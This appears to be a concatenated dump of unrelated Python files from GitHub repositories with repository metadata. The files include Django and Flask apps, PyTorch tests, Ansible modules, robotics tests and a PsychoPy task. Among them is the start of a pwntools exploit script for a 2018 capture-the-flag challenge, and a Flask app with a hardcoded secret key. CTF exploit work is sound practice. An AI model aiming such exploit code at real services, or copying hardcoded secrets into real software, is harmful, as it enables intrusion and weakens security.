d597d8f7dada7c93d9e4088b7bf43f7a8e2746bf | 82c78e393266bf2b4cc4a217ae8da7f9d0578bca | /pages/models.py | a3113708b358ea48f55b07615d59205a8711cc6a | [] | no_license | SUXUMI/simpleCMS-django | 9017453a15c96a1568e4dd15aa9dc9238dd297de | 1973966365c89c30e7d52c3fcf6409cef4c20807 | refs/heads/main | 2023-02-17T16:02:16.070287 | 2021-01-18T07:10:34 | 2021-01-18T07:10:34 | 330,578,145 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 680 | py | from django.db import models
from django.utils import timezone
class Page(models.Model):
title = models.CharField(max_length=255, blank=False)
# slug = models.CharField(max_length=255, unique=True, blank=False)
# https://www.geeksforgeeks.org/slugfield-django-models/
slug = models.SlugField(max_length... | [
"admin@admin.ge"
] | admin@admin.ge |
0a912a7112a0beabf813cc00fba1cdb7c2e3daad | d35167f7ab29813d926bd702fa652090556befdf | /generated/test_facebookresearch_TimeSformer.py | 7cf65f94103dda891ae436570da86b4a73b849eb | [] | no_license | jansel/pytorch-jit-paritybench | 65e5311d43daf5065beac52a68488ce188199fa8 | 7e55a422588c1d1e00f35a3d3a3ff896cce59e18 | refs/heads/master | 2023-08-12T04:43:16.669114 | 2023-06-08T17:36:32 | 2023-06-08T17:36:32 | 270,464,378 | 35 | 15 | null | 2023-06-08T17:36:34 | 2020-06-07T23:42:50 | Python | UTF-8 | Python | false | false | 111,676 | py | import sys
_module = sys.modules[__name__]
del sys
setup = _module
timesformer = _module
config = _module
defaults = _module
datasets = _module
build = _module
cv2_transform = _module
decoder = _module
kinetics = _module
loader = _module
multigrid_helper = _module
ssv2 = _module
transform = _module
utils = _module
vide... | [
"ybliang8@gmail.com"
] | ybliang8@gmail.com |
ce4cb92d76d50fbd63accaff41bd8af8bbd952e1 | 0f9b6a33a5e2ce627db75d1bcc34bc3f3674335b | /sctf/2018/catchthebug/exploit.py | 10ff19c7084f606481adcd2e34de7136bf30a20a | [] | no_license | hnoson/writeups | 359a33b03286bab19359ad9b089e6f3bfe4fb708 | 05550e3c462108f6c5ba0b69f65694e2eb1dc9b3 | refs/heads/master | 2021-10-07T18:21:26.041101 | 2021-10-03T10:22:31 | 2021-10-03T10:22:31 | 119,823,623 | 7 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,927 | py | #!/usr/bin/env python
from pwn import *
def catch(name):
while True:
s.sendlineafter('>> ', '1')
s.recvline()
if s.recvline(False) == 'There is no bug =(':
continue
s.sendafter('>> ', name)
break
def inspect(num):
s.sendlineafter('>> ', '2')
ret = []
... | [
"hiroki015@gmail.com"
] | hiroki015@gmail.com |
1dccae090daff9f46736e852a5612870a5d07f5c | c08e6d8860ad978d89c4735069f45c97c1967a70 | /compare_obj/compare_obj.py | ccebc82ba33156d6e8d56fd74e535c910be8e3ff | [] | no_license | leayl/project_exercises | bad5158a7fd851d9ddf05c1f4a758acac1953e5b | ce97c5bc36e2a49e39407ea6dbf599421510dc5f | refs/heads/master | 2021-01-26T02:42:33.835830 | 2020-04-28T18:15:03 | 2020-04-28T18:15:03 | 243,278,015 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,335 | py | import random
class MyClass():
def __init__(self):
self.dict = {}
def create_2_cls_obj_list(list1, list2):
obj_list1 = []
obj_list2 = []
for dict1 in list1:
obj = MyClass()
obj.dict = dict1
obj_list1.append(obj)
for dict2 in list2:
obj = MyClass()
... | [
"lea_yl@163.com"
] | lea_yl@163.com |
af7ca80306f6f187b11809bd23a256bb4f539dbe | e2ad7b63641e06e15df15eb76b1f806fe2ea11c0 | /basics/programming/ex10.py | 1572ec2c61c100c8164f46a7661e139b1a620e50 | [
"Apache-2.0"
] | permissive | LarsTD/answers | 9b9e04cd3bf7e49a098d39584049523ddc9a1441 | 63b1fcdc1d31182407b072e064ba45d0366aff14 | refs/heads/master | 2020-04-09T18:40:12.940835 | 2018-12-12T11:21:48 | 2018-12-12T11:21:48 | 160,519,894 | 0 | 0 | Apache-2.0 | 2018-12-05T13:09:04 | 2018-12-05T13:09:04 | null | UTF-8 | Python | false | false | 431 | py | print('Pick an operation')
operation = ''
while not operation:
print('enter an valid operator')
answer=input()
if answer == '+':
operation = '+'
elif answer == '-':
operation = '-'
print('enter your first number')
number_1 = int(input())
print('enter your second number')
numbe... | [
"larsb1314@gmail.com"
] | larsb1314@gmail.com |
b6f2702ecdab755613afbcabab71516a8bdab2a5 | ea0118797c975d569f315f240f0c0c621f1649e1 | /scheduler_code/scheduler/__init__.py | 8e8b92d40c6bced828c5977e1d5df5b82fd1e520 | [] | no_license | haitonglin/CS316_F20_Team8 | 29e943f1064e3e8b254a392978e3e2ce1ce4168a | a20b14362c3044a50c40fb1e01e3e85c7ecbebee | refs/heads/main | 2023-01-23T06:34:47.908752 | 2020-11-17T18:50:45 | 2020-11-17T18:50:45 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 465 | py | from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_bcrypt import Bcrypt
from flask_login import LoginManager
app = Flask(__name__)
app.config['SECRET_KEY'] = '5791628bb0b13ce0c676dfde280ba245'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
db = SQLAlchemy(app)
bcrypt = Bcrypt(app)... | [
"yuncongzuo@Yuncongs-MacBook-Pro.local"
] | yuncongzuo@Yuncongs-MacBook-Pro.local |
c774a33d908e3d62f2abbecc5399589352c6b667 | 644cd6849385c1e142acb01a538843a42c7a82ce | /experiments/sample_feature.py | 3f492c466b505a276939802a8eef2ea6d4195032 | [] | no_license | dcrankshaw/clipper-plots | 0a4f2833ad22fe13e4f341bb1d7d90d883c52e75 | 1398f99c64f1aab238a46c00f307f26dce1bde97 | refs/heads/master | 2021-01-22T13:57:25.894553 | 2017-02-24T07:23:12 | 2017-02-24T07:23:24 | 46,454,875 | 1 | 2 | null | null | null | null | UTF-8 | Python | false | false | 2,390 | py | import pandas as pd
import numpy as np
import sklearn.linear_model as lm
import sklearn.svm as svm
from sklearn.externals import joblib
import os
import sys
def load_digits(digits_location, digits_filename = "train.data"):
digits_path = digits_location + "/" + digits_filename
print "Source file:", digits_path
... | [
"dscrankshaw@gmail.com"
] | dscrankshaw@gmail.com |
c42a9905f1b7ec50d3d141f11e5ae4b21046be4a | 9ae5863f44403255a3068d4e09df8e9a76cf6fb9 | /Lv1/DuplicateNumbers.py | 4b6de77b848cb534002934558f00e3a8e7aad5e8 | [] | no_license | ybear90/coding_dojang_solution-practice- | 42f564ac9c48311538bdbf02932498efbd0e7dab | 644cbe02bd52d84fdbb84faf3938aa26855ed24c | refs/heads/master | 2020-04-20T12:08:08.702191 | 2019-05-31T17:39:00 | 2019-05-31T17:39:00 | 168,835,727 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,159 | py | """
Duplicate Numbers
일전에 뭐 게임 회사에서 본 간단한 퀴즈 테스트 입니다.
0~9까지의 문자로 된 숫자를 입력 받았을 때, 이 입력 값이 0~9까지의 숫자가 각각 한 번 씩만 사용된 것인지 확인하는 함수를 구하시오.
sample inputs: 0123456789 01234 01234567890 6789012345 012322456789
sample outputs: true false false true false
"""
r_input = input().split()
def inputInit(cList):
for i in range(... | [
"noreply@github.com"
] | noreply@github.com |
3ef7e25a59a3ca2672554115318f33e31822fd25 | e5dc27e634aba70bcd1b3acea74fed84ddccf837 | /plugins/modules/template_project.py | 432a757ecb62ba97acf49d326d6c97cb68fe269b | [] | no_license | jejrichardson/dnacenter-ansible | 264d1b52227d4bf78ad175494763cff9e7881f34 | f10078ef8323bda4b542e71bcecf4f80a7fe0609 | refs/heads/master | 2023-01-28T09:54:57.449459 | 2020-12-09T23:15:49 | 2020-12-09T23:15:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,792 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright: (c) 2020, Rafael Campos <rcampos@altus.cr>
# GNU General Public License v3.0+ (see LICENSE or https://www.gnu.org/licenses/gpl-3.0.txt)
ANSIBLE_METADATA = {
"metadata_version": "0.0.1",
"status": ["preview"],
"supported_by": "community",
}
DOCUMENTAT... | [
"rcampos@altus.cr"
] | rcampos@altus.cr |
c0056aa85383d670add5f74e627672b310c662ce | a867b1c9da10a93136550c767c45e0d8c98f5675 | /G_LC_1055_ShortestWaytoFormString.py | 057fd0b488c0696e709603ccc3d5993c1b5d2c98 | [] | no_license | Omkar02/FAANG | f747aacc938bf747129b8ff35b6648fb265d95b6 | ee9b245aa83ea58aa67954ab96442561dbe68d06 | refs/heads/master | 2023-03-25T19:45:08.153403 | 2021-03-28T07:13:08 | 2021-03-28T07:13:08 | 280,783,785 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 835 | py | # import __main__ as main
# from Helper.TimerLogger import CodeTimeLogging
# fileName = main.__file__
# fileName = fileName.split('\\')[-1]
# CodeTimeLogging(Flag='F', filename=fileName, Tag='String', Difficult='Medium')
def shotestWaytoFormString(scr, target):
numMinString = 0
remaning = target
while le... | [
"omkarjoshi4031@live.com"
] | omkarjoshi4031@live.com |
5cd51dcc05b75b2b754648bb03a96025a4d74590 | d261119814862d1119ffa0a7bf64f2cfa956afac | /python_stack/django/django_full_stack/the_wall/apps/login_app/views.py | cc43e6d3148d0ae0f7cb82862d9a199126e16b7b | [] | no_license | edwinreg011/Coding-Dojo | 3280a2290dc4d8fb709c1ff4b4906b078925a705 | 14bb5844d741a2be05f995987a434f335c90e6c9 | refs/heads/master | 2022-12-24T14:23:20.342451 | 2019-12-17T19:24:54 | 2019-12-17T19:24:54 | 228,685,995 | 0 | 0 | null | 2022-12-11T17:34:49 | 2019-12-17T19:21:41 | Python | UTF-8 | Python | false | false | 2,716 | py | from django.shortcuts import render, HttpResponse, redirect
from .models import *
from django.contrib import messages
import bcrypt
def index(request):
return render(request, 'login_app/index.html')
def register(request):
if request.method == 'POST':
errors = User.objects.user_validator(request.POST... | [
"edwinregalado@Edwins-MacBook-Pro.local"
] | edwinregalado@Edwins-MacBook-Pro.local |
88bd31ecc6bd237466ec96a185b1d943f4ead144 | 2d060eb9c7126b8963adcad857daa6e39c6ac75f | /Resist.py | 12e4f998383248c49443c1a4b9fc74c578754390 | [] | no_license | easy-rpg/Filler | 43ce36980156f4ffd9597d822e9fa6c19105d892 | 55cddbbb21ac508f64b98ceedbc30c680d4c4951 | refs/heads/master | 2020-03-15T01:38:51.069870 | 2016-09-03T07:12:55 | 2016-09-03T07:12:55 | 131,898,370 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 560 | py | import abc
class Resist_Boa(object):
"""docstring for """
__metaclass__ = abc.ABCMeta
valores = [2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12]
@abc.abstractmethod
def __str__(self):
raise NotImplementedError('users must define __str__ to use this base class')
class Resist_Ruim(object):
"""... | [
"rodrigondec@gmail.com"
] | rodrigondec@gmail.com |
8be0fa5c204f717833ba8ac10685a4af74ae08c8 | 37aeb840e5d13ff298e8a34e019e29cf30141bc6 | /tests/test_model.py | dd0cfba9072f6fce82c694a9588dee50069f3acb | [
"MIT"
] | permissive | mathildebadoual/mosaik-batterysim | d39cd401226e12bb6991fe07aa428ca251d77faa | 5e37b419c3f8fd57cacc6975a5660c308cad31bd | refs/heads/master | 2023-01-05T00:45:27.921255 | 2018-11-29T18:02:18 | 2018-11-29T18:02:18 | 136,089,746 | 1 | 2 | MIT | 2022-12-26T20:28:36 | 2018-06-04T22:28:38 | Python | UTF-8 | Python | false | false | 1,016 | py | from os.path import dirname, join
import arrow
import unittest
from batterysim.model import BatteryModel
data_file = join(dirname(__file__), 'data', 'test.data')
class TestHouseModel(unittest.TestCase):
def setUp(self):
self.bm = BatteryModel(open(data_file), 'grid_test')
def test_batterymodel_in... | [
"mathilde.badoual@gmail.com"
] | mathilde.badoual@gmail.com |
c502ce9cabce0dd8cc569f1883c2d6eb4df881fa | 196054b50691861ef98cbcc66b5209235f488f5b | /fileupload/forms.py | e048ff31dc5895fc918a86f968d753a70910e4f3 | [] | no_license | rydauphin/DataDirector | 9b41093b6da39472cc7f8bdeffdea017a87ac66e | 612eab26f8f205e76e4086ab55ad5d7c89053ee0 | refs/heads/master | 2020-04-13T17:08:30.949088 | 2019-01-03T21:46:05 | 2019-01-03T21:46:05 | 163,339,913 | 1 | 1 | null | 2019-01-03T21:07:40 | 2018-12-27T22:06:48 | Python | UTF-8 | Python | false | false | 166 | py | from django import forms
from .models import FileUpload
class FileUploadForm(forms.ModelForm):
class Meta:
model = FileUpload
fields = ('file',) | [
"scoyne2@kent.edu"
] | scoyne2@kent.edu |
db605eaa64ddbafc35c69a599ae236c6fe638bdb | 51999a7eaa33b82cac2a2c7212e546cc0420f8d7 | /old_code/get_opcode_by_class.py | 30841932679b2d11d2abd1316f808a4f8cfbc2f8 | [] | no_license | guptanitish/MicrosoftMalwareClassifcation | 56efcf8bcacb3516966ac4bf0d731bb21c26128a | da1f5c22874d9f58df0ee61b0210ff5c9566e03d | refs/heads/master | 2020-04-13T16:47:05.034358 | 2015-09-14T21:42:42 | 2015-09-14T21:42:42 | 32,280,391 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,322 | py | # -*- coding: utf-8 -*-
# <nbformat>3.0</nbformat>
# <codecell>
#dictionary of opcodes per file
import pickle
import re
import os, os.path
import pandas as pd
import pickle
import sys
from sklearn.cross_validation import train_test_split
import io
'''
#returns a list
#searches for ' opcode ' from a specified list o... | [
"gupta.nitish@gmail.com"
] | gupta.nitish@gmail.com |
e99a2ed03cfedf90fc2bdb91759de41cf60af1bc | db5308ba0417093282a353d8cd60089ca7cd974e | /Top-Interview-Questions/DynamicProgramming-Easy-Collection/121-best-time-to-buy-and-sell-stock.py | 6e5ef13c4fc64e14467cd4e890a80759e9b4a65a | [] | no_license | ssong86/leetcode-problem-solving | 11a03abb20b6a9f62a29decd2a81b404710eed14 | 5ff31f31b8472373b54c9fd0e02e2be5e69a3dd3 | refs/heads/master | 2022-11-28T20:17:53.239044 | 2020-07-29T06:09:21 | 2020-07-29T06:09:21 | 259,515,217 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 481 | py | class Solution:
def maxProfit(self, prices: List[int]) -> int:
buy, sell = float('inf'), 0
for p in prices:
buy, sell = min(buy, p), max(sell, p-buy)
# if p < buy:
# minprice = p
# elif p-minprice > sell:
# sell = p - minprice
... | [
"mrsong0822@gmail.com"
] | mrsong0822@gmail.com |
86d484c5ac99a387727ae07639d43a727abe014d | 392f82f3af6ac5f886dfae0adfc9df27816027f8 | /IData/IDataSearch/backdoor/analysis/SSRP_cooperation_analysis.py | 3752690c60b8318e4a72b3cd914e11f2bdfcd711 | [] | no_license | Hitchcock717/SSRP-Dev | 6914033b1af4a67c6f8fe44108ad522eadfaa82d | d6316fc3e99387c053415fd5e5421b122c41bb05 | refs/heads/master | 2023-02-06T12:22:11.826570 | 2020-06-10T01:24:27 | 2020-06-10T01:24:27 | 248,780,528 | 1 | 0 | null | 2023-01-26T15:03:47 | 2020-03-20T14:50:35 | Python | UTF-8 | Python | false | false | 5,070 | py | # -*- coding: utf-8 -*-
'''
SSRP分析平台之关系图分析 --- 作者两两合作
tips: 数据过载问题
'''
import itertools
from .SSRP_convert2num import *
class CooperateAnalysis(object):
def __init__(self):
# self.two_aus = ['王曜 陈舜胜', '郝勇 陈斌', '王洪荣 季昀', '周贤婧 师彦平', '王明智 杜建忠', '侯殿志 沈群', '张玉洁 付丽红', '凃璨 熊飞', '晓影 晓蓉', '李宗吉 赵巍', '邱澄宇 ... | [
"zhaobowen9876@gmail.com"
] | zhaobowen9876@gmail.com |
179cd7a1f65d62c1be568abe96d98561a937e2e9 | d7f4ae811a22bb71eeef6132c3f2964336803d0d | /users/migrations/0002_auto_20190302_1232.py | 7ef75bfb16a98159bedc5b30fcbf2dbb66820a26 | [] | no_license | antoncoding/grusse | 305a2ee87cc246e0e65b78ad89797015675c124e | 332daa7f3541d1bede5668fa7f83f081bc1b8eca | refs/heads/master | 2021-03-13T04:11:09.578151 | 2020-08-04T05:06:48 | 2020-08-04T05:06:48 | 72,293,341 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,527 | py | # Generated by Django 2.1.7 on 2019-03-02 12:32
from django.db import migrations, models
import django_countries.fields
class Migration(migrations.Migration):
dependencies = [
('users', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='customuser',
... | [
"b03705027@ntu.edu.tw"
] | b03705027@ntu.edu.tw |
e69f811f53141bb78526caedfde84012278ff07b | 7bdb6ac5e4c9fc83b474e982df4f3a03a5281934 | /tests/container_test.py | d30cad8ee3a5fc540b9ac200b994821d047a00fb | [] | no_license | kochhar/pyrabj | 47ddafbd15df5e717f4ae02815eef35a07ead8a8 | f40c519eea92d7af093502e4397a8dcf23ec73ba | refs/heads/master | 2016-09-06T12:54:03.564785 | 2012-02-15T23:10:02 | 2012-02-15T23:10:02 | 347,299 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 145 | py | #!/usr/bin/env python
import rabj.simple as s
srv = s.RabjServer('http://rabj.freebase.com')
pqs = srv.public_queues()
print type(pqs[0].queue)
| [
"kochhar@google.com"
] | kochhar@google.com |
426b5255178ef4260436d7edc63a70a6bc93c9d6 | b082fa207b5ac9db2f3529c46897312f886c18fb | /doc/edl/experiment/mnist/train_ft.py | 09fe077654ac53bf32ae84434eb85d65c67dc3ca | [
"Apache-2.0"
] | permissive | qizheng09/cloud | e129c42a6401d64e2d3e4d0cf65b4a6a5410069f | 2a6aa526f2eec0d3e3aedca78d15bdc72b85bef9 | refs/heads/develop | 2021-05-14T10:08:58.885713 | 2018-03-02T06:26:31 | 2018-03-02T06:26:31 | 116,345,049 | 0 | 0 | Apache-2.0 | 2018-02-13T11:42:51 | 2018-01-05T05:16:26 | JavaScript | UTF-8 | Python | false | false | 4,593 | py | # Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | [
"noreply@github.com"
] | noreply@github.com |
1c29302c75eba77721ac08ae1689249996414741 | 5864e86954a221d52d4fa83a607c71bacf201c5a | /eve/client/script/ui/station/fitting/stanceSlot.py | 4f84e19f8e8023622408b00954931ab6ab6a422f | [] | no_license | connoryang/1v1dec | e9a2303a01e5a26bf14159112b112be81a6560fd | 404f2cebf13b311e754d45206008918881496370 | refs/heads/master | 2021-05-04T02:34:59.627529 | 2016-10-19T08:56:26 | 2016-10-19T08:56:26 | 71,334,417 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,646 | py | #Embedded file name: e:\jenkins\workspace\client_SERENITY\branches\release\SERENITY\eve\client\script\ui\station\fitting\stanceSlot.py
from carbonui.primitives.container import Container
from eve.client.script.ui.inflight import shipstance
import carbonui.const as uiconst
class StanceSlots(Container):
def __init_... | [
"le02005@163.com"
] | le02005@163.com |
012fafa0dcf896c1f493c2e14f2bedded9a3e5f2 | 66e8ea568dff28a9c596cf86021cf761ef3c4ec3 | /blogs/chatroom/views.py | 1225a438afaa8bb932937ad6e65877866aacbcc1 | [] | no_license | sharebrain/blog | df048df520f7f9a670f452afd57e62ffdcc0679a | d60a36f363fa61a86170367df0753654c44706a1 | refs/heads/master | 2021-01-23T22:31:31.408058 | 2017-09-10T06:42:21 | 2017-09-10T06:42:21 | 64,218,710 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,374 | py | from . import chartroom
#from ..ext import socketio
from flask_socketio import send, emit, join_room, leave_room, disconnect, SocketIO
from flask_login import current_user
import functools
from flask import Flask, redirect, session, json, flash, url_for, render_template
import datetime
import time
app = Flask('blog')
... | [
"1261931128.com"
] | 1261931128.com |
4a41c906501b7d076c709bb4f4f9350878881eda | 535564a109a0b4b6f071e60063cd84bef2da8e33 | /src/tts_pyttsx3.py | 863ee02e5ee7d2846d8a5d62a93a32dc28e251b9 | [] | no_license | prijatelj/crowd_noise | 84887d99737e63306f484ce00755131364a09ad1 | 60616a6dc5e66d6612762955dc345f294fdcd535 | refs/heads/master | 2020-03-23T07:03:09.747929 | 2018-07-17T03:38:18 | 2018-07-17T03:38:18 | 141,245,015 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,120 | py | """
A simple program that generates a mp3 audio file of multiple voices speaking
filler english over one another to simulate the noise from a background crowd of
voices speaking. This is to be able to speak in any language, so that any langauge of crowd background noise may be generated.
:author: Derek S. Prijatelj
""... | [
"theomnipotentwoof@gmail.com"
] | theomnipotentwoof@gmail.com |
09da3887cf75a54b9d1965126cebae0ddf5f6475 | 6929f9696a8f90b3778d449a199cee8891f3f739 | /python_core/deligating_to_parent_class_and_slots.py | c23b6fab9843575d3946b69e50da5f32471b0dc8 | [] | no_license | chemplife/Python | 881d492a4271fb2b423f2dd611eaac53a0efdc34 | 7fdfbf442a915e4f41506503baad4345a52d1e86 | refs/heads/master | 2022-12-31T20:00:22.475985 | 2020-10-19T20:14:43 | 2020-10-19T20:14:43 | 305,503,403 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,720 | py | '''
super().method()/attribute
-> To deligate things back to the parent class.
-> Use this only when you have the same named function in the child as well.. Because Python anyways will look uo the heirarchy
if it does not find the method in Child-class.
Eg: class A:
def b():
class B(A):
def c():
... | [
"ratul.aggarwal@outlook.com"
] | ratul.aggarwal@outlook.com |
97a283627d40ac164381cb4fb0e0cccbad16809d | c2f343d4affbb513e96730111ab9e7dfb6719102 | /health/health_html_handler.py | 33bfc4fed4d160867640ae9da5029484652ac8fa | [] | no_license | hykruntoahead/projectSpider | f3cf2a156645ddfd7f677cf4cd1dae7c8c6d7e19 | b19b93b9f838c865927ac6a7bdb330b6d543505f | refs/heads/master | 2020-06-01T20:49:08.978750 | 2017-09-21T02:46:39 | 2017-09-21T02:46:39 | 94,084,496 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,588 | py | #encoding=utf-8
import pymysql
import urllib2
from bs4 import BeautifulSoup
import time
class healthHandler:
def __init__(self):
self.base_path='E:\health_new_html'
self.user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36'
... | [
"heyukun@iaijian.com"
] | heyukun@iaijian.com |
619b3e46c9ac6ad81397f6fdc1a93e95e079f237 | cfc8a4c44572eea1e9c45059ea86ce7b47dbc1d6 | /util.py | 8b24532fc14d50c62138744a382a3c6d1c680792 | [] | no_license | wi1k1n/encryptmeallbot | b581546d5c14e2098e310a5d2c80da323311e369 | 6f1436d94b0ac1e250730e8e4ee076120f991816 | refs/heads/master | 2022-03-27T00:26:07.772725 | 2019-12-30T01:01:23 | 2019-12-30T01:01:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 305 | py | def inann(dict, key):
""" Takes dictionary and key and checks if key in dictionary and it is not None """
return key in dict and not dict[key] is None
def ninann(dict, key):
""" Takes dictionary and key and checks if key not in dictionary or it is None """
return not key in dict or dict[key] is None | [
"vfpkjd@gmail.com"
] | vfpkjd@gmail.com |
75d414b298db2aa082fc712ad544fc4a0a1c73a5 | 03b5c9f92bfc14e778e91ea5459eeb71d6dbc920 | /urionlinejudge/1_begginer/p1049.py | f675e730bac486f395d7f26ff4c64d2b98ad60d8 | [] | no_license | vitorTest/dailyExercBckp | f45c16ac23daa4843ec21ebd56bb8e8f103b91e5 | 9730d63eeab816d017b055ddbdf0ca173b375667 | refs/heads/master | 2021-06-23T12:05:28.236046 | 2020-11-13T01:16:29 | 2020-11-13T01:16:29 | 143,309,859 | 0 | 0 | null | 2020-11-13T01:16:30 | 2018-08-02T15:01:10 | C++ | UTF-8 | Python | false | false | 451 | py | #!/usr/bin/env python
dict_set = {
'vertebrado': {
'ave': {'carnivoro': 'aguia', 'onivoro': 'pomba'},
'mamifero':{'onivoro': 'homem', 'herbivoro': 'vaca'}
},
'invertebrado':{
'inseto': {'hematofago': 'pulga', 'herbivoro': 'lagarta'},
'anelideo': {'hematofago': 'sanguessuga... | [
"vytorfelix2@gmail.com"
] | vytorfelix2@gmail.com |
8359bb272673094265dc59a86fd09d4bc0ff155c | afcf07b66dae1b2b771b0ebc81159268ed0cd5f8 | /share/qt/clean_mac_info_plist.py | 35acc2d45b3ebfe43bbab133e94586e406155951 | [
"MIT"
] | permissive | USDX/USDX-Coin | e20e20b84c187f5850f8ca201d49c5769eb3c108 | 6977d065031598149b1ff51c02c8549eeb77e0b4 | refs/heads/master | 2020-04-10T07:34:38.102807 | 2018-12-09T18:30:39 | 2018-12-09T18:30:39 | 160,883,821 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 889 | py | #!/usr/bin/env python
# Jonas Schnelli, 2013
# make sure the USDX-Qt.app contains the right plist (including the right version)
# fix made because of serval bugs in Qt mac deployment (https://bugreports.qt-project.org/browse/QTBUG-21267)
from string import Template
from datetime import date
bitcoinDir = "./";
inFile... | [
"35321635+townsend351@users.noreply.github.com"
] | 35321635+townsend351@users.noreply.github.com |
0f9df2409f2f99b65ed93ad09dd48af4b68c6b34 | 14de770dcab530aa23a8811a304499cb7ccc93ed | /plot_hashcodes.py | 36c1cc74d4a728a16bc00acf27439a96ec222c09 | [] | no_license | gsig123/SpectralHashing | 4cd788460347421e2c9de514bf7ddf66a534b061 | d8e47c6575f7b5773e77b8ae2df37c8d36538ffd | refs/heads/master | 2020-03-17T07:05:35.548619 | 2018-05-14T16:36:14 | 2018-05-14T16:36:14 | 133,382,913 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,372 | py | """
Plot the input data with colors according to their assigned hashcodes,
as well as the principal components.
Only works for 2d data
"""
import argparse
import importlib
import pickle
import matplotlib.pyplot as plt
import numpy as np
from helpers import normalize_data
def to_binary(val, length):
"""convert a nu... | [
"gis14@hi.is"
] | gis14@hi.is |
17a97046bb0fa80ed31b646a4f2626fd6e046550 | cbe5c3cd7dcf810b5f120a7ec9872ed665a9c5c2 | /Eval.py | d44dab3c5980d0c9a3a57303d8ef4cf0793dacbf | [] | no_license | sagarmane123/IMDB-data-analysis | 590a5af3ff72fad7b6eb9cee3bb84270b3c8d5af | d0f83c8dab6bb45f3f0396935c02b0d7eac74edf | refs/heads/master | 2020-03-19T02:05:49.120004 | 2018-05-31T15:03:13 | 2018-05-31T15:03:13 | 135,598,966 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 830 | py | import numpy as np
class Eval:
def __init__(self, pred, gold):
self.pred = pred
self.gold = gold
def Accuracy(self):
return np.sum(np.equal(self.pred, self.gold)) / float(len(self.gold))
def EvalPrecition(self):
pos = np.argwhere(self.gold == 1).flatten()
ne... | [
"noreply@github.com"
] | noreply@github.com |
7b24f503677d127cc2602c78837c258a0b4b2004 | 25356a5460a6791ebbfcdae76051e8fcb2d6995f | /P002/Python/numba_copyMatrix.py | 4023125d7edb1912d9d7cd3f34b8735263f5bdd7 | [] | no_license | Foadsf/LangBench | 4956d9fb199d05705cb15429973346029c37fe55 | f772df47d3d5316e4e644ed7985b2c434164835d | refs/heads/master | 2020-04-10T19:10:58.764629 | 2018-12-10T21:44:42 | 2018-12-10T21:44:42 | 161,226,128 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 883 | py | #!/usr/bin/env python
import sys
if len(sys.argv) < 1:
print 'Usage:'
print ' ./copyMatrix.py dim'
print 'Please specify matrix dimensions'
sys.exit()
from numpy import *
from time import *
from numba import jit
dim = int(sys.argv[1])
# Copy with loop
#----------------
@jit
def serial_copy(A):
for i ... | [
"f.s.farimani@gmail.com"
] | f.s.farimani@gmail.com |
85614f4b027e1a236f12c98d6e2f0dbb9b39b778 | 2425ad0e81a695eb126b31f2ccf82dfd478851c3 | /tests/test_ets.py | d8636cb441a212b3bfaa502b4e83c50a972f032f | [
"MIT"
] | permissive | jhavl/ropy | 62ab28297ae7e4ee6076009777d28aff98fdb2a2 | 38b12369530253a16c22ef1f5be0bcb75053ffd8 | refs/heads/master | 2021-01-07T20:39:00.899851 | 2020-11-29T10:35:24 | 2020-11-29T10:35:24 | 241,814,788 | 17 | 3 | MIT | 2020-04-29T05:36:43 | 2020-02-20T06:55:34 | Python | UTF-8 | Python | false | false | 22,573 | py | #!/usr/bin/env python3
"""
Created on Fri May 1 14:04:04 2020
@author: Jesse Haviland
"""
import numpy.testing as nt
import numpy as np
import ropy as rp
import unittest
import spatialmath as sm
class TestETS(unittest.TestCase):
def test_panda(self):
panda = rp.Panda()
qz = np.array([0, 0, 0, 0,... | [
"jhavl@users.noreply.github.com"
] | jhavl@users.noreply.github.com |
a29353f3b6c573e8101559c8fa7f56856e8ef1e3 | 6e04394dec05a3b838defdd11157705ae15912c8 | /OSARI_time_v1.8.py | d6642c6444bd1797ea03370529aa2be08474c3ae | [] | no_license | RebeccaHirst/OSARI | ae0f68761a43722324bef297cbecc11c1b69a12e | 18129873133b79b19521630fb683aeba37ce523d | refs/heads/master | 2021-07-20T01:38:41.372828 | 2020-07-24T07:56:42 | 2020-07-24T07:56:42 | 246,411,541 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 37,589 | py | """
Open-Source Anticipated Response Inhibition (OSARI)
Created in PsychoPy v3.1.2
Written by: Rebecca J Hirst [1] Rohan Puri [2]
Edited by: Jason L He [3]
[1] Trinity College Institute of Neuroscience, Trinity College Dublin
[2] University of Tasmania
[3] John Hopkins School of Medicine
Mail to Author: rj.hirst at ho... | [
"rj.hirst@hotmail.co.uk"
] | rj.hirst@hotmail.co.uk |
